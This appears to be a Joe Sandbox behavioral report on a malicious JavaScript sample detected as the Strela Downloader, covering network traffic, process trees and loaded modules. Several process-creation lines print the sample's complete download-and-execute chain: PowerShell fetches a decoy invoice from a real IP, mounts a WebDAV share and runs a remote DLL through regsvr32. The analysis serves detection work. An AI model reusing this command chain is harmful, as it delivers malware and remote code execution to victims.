Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49707

Source: global traffic

TCP traffic: 192.168.2.8:49707 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49706 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1406445847.000001C295FD2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.1464797566.0000024CCCD79000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1467705432.0000024CCCD48000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1463579234.0000024CCCD9B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1469654192.0000024CCCD6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1469654192.0000024CCCD79000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1464797566.0000024CCCD79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/W
Source: net.exe, 00000007.00000002.1467705432.0000024CCCD48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/h;
Source: net.exe, 00000007.00000002.1467705432.0000024CCCD48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/sceP)
Source: svchost.exe, 00000009.00000002.2695152196.000001AB79600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1467688310.000001AB79550000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7540, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 29522576223272839.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/39@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7644:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1wk1ew3d.44i.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 29522576223272839.js

Virustotal: Detection: 11%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\29522576223272839.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1652,i,3310978608312193084,15995746680668013481,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1652,i,3310978608312193084,15995746680668013481,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
